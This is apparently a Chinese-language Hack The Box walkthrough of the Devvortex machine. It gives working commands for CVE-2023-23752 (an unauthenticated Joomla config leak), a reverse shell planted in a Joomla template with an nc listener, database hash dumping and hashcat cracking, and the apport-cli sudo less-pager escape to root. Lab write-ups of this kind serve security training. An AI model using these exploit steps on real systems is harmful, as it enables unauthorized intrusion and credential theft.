← 返回文章列表
HTB
2024-03-15
3 min read

HTB Devvortex 靶机攻略

信息收集

端口扫描

首先对目标进行全端口扫描:

terminal
nmap -sC -sV -oN nmap/devvortex.txt 10.10.11.242

扫描结果如下:

terminal
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devvortex.htb/

将域名添加到 hosts 文件:

terminal
echo "10.10.11.242 devvortex.htb" | sudo tee -a /etc/hosts

子域名枚举

使用 gobuster 进行子域名爆破:

terminal
gobuster vhost -u http://devvortex.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain

发现子域名 dev.devvortex.htb,同样添加到 hosts。

漏洞利用

CVE-2023-23752 — Joomla 信息泄露

访问 dev.devvortex.htb 发现运行的是 Joomla CMS。通过 CVE-2023-23752,可以未授权访问 API 端点获取敏感信息:

terminal
curl -s http://dev.devvortex.htb/api/index.php/v1/config/application?public=true | jq .
terminal
{
  "data": [
    {
      "attributes": {
        "user": "lewis",
        "password": "P4ntherg0t1n5r3c0n##",
        "db": "joomla",
        "dbtype": "mysqli",
        "host": "localhost"
      }
    }
  ]
}

获取到数据库凭据:lewis:P4ntherg0t1n5r3c0n##

登录后台

使用获取到的凭据登录 Joomla 管理后台 /administrator,成功进入。

获取 Shell

在 Joomla 后台,通过修改模板文件注入 PHP WebShell:

  1. 进入 System → Templates → Site Templates
  2. 编辑 error.php,注入反弹 Shell 代码
  3. 本地监听:
terminal
nc -lvnp 4444
  1. 访问一个不存在的页面触发 error.php,获得 Shell

权限提升

横向移动:数据库凭据

利用之前获取的数据库凭据,查询用户表:

terminal
mysql -u lewis -p'P4ntherg0t1n5r3c0n##' -D joomla -e "SELECT username, password FROM sd4fg_users;"
terminal
+----------+--------------------------------------------------------------+
| username | password                                                     |
+----------+--------------------------------------------------------------+
| lewis    | $2y$10$6V52x.SD8Xc7hNlVwUe...                               |
| logan    | $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12 |
+----------+--------------------------------------------------------------+

破解哈希

terminal
hashcat -m 3200 logan_hash.txt /usr/share/wordlists/rockyou.txt

成功破解 logan 的密码,通过 SSH 登录获取 user flag。

提权至 Root

检查 sudo 权限:

terminal
sudo -l
terminal
User logan may run the following commands:
    (ALL : ALL) /usr/bin/apport-cli

利用 apport-cliless pager 提权(CVE-2023-1326):

terminal
sudo /usr/bin/apport-cli --file-bug
# 选择任意进程 → 按 V 查看报告 → 在 less 中输入 !/bin/bash

成功获取 root Shell,拿到 root flag。


总结

| 阶段 | 技术点 | |------|--------| | 信息收集 | Nmap、子域名枚举 | | 初始访问 | CVE-2023-23752(Joomla 未授权 API) | | 横向移动 | MySQL 凭据提取、Hashcat 破解 | | 权限提升 | apport-cli less pager 逃逸 |

善攻者,动于九天之上;善守者,藏于九地之下。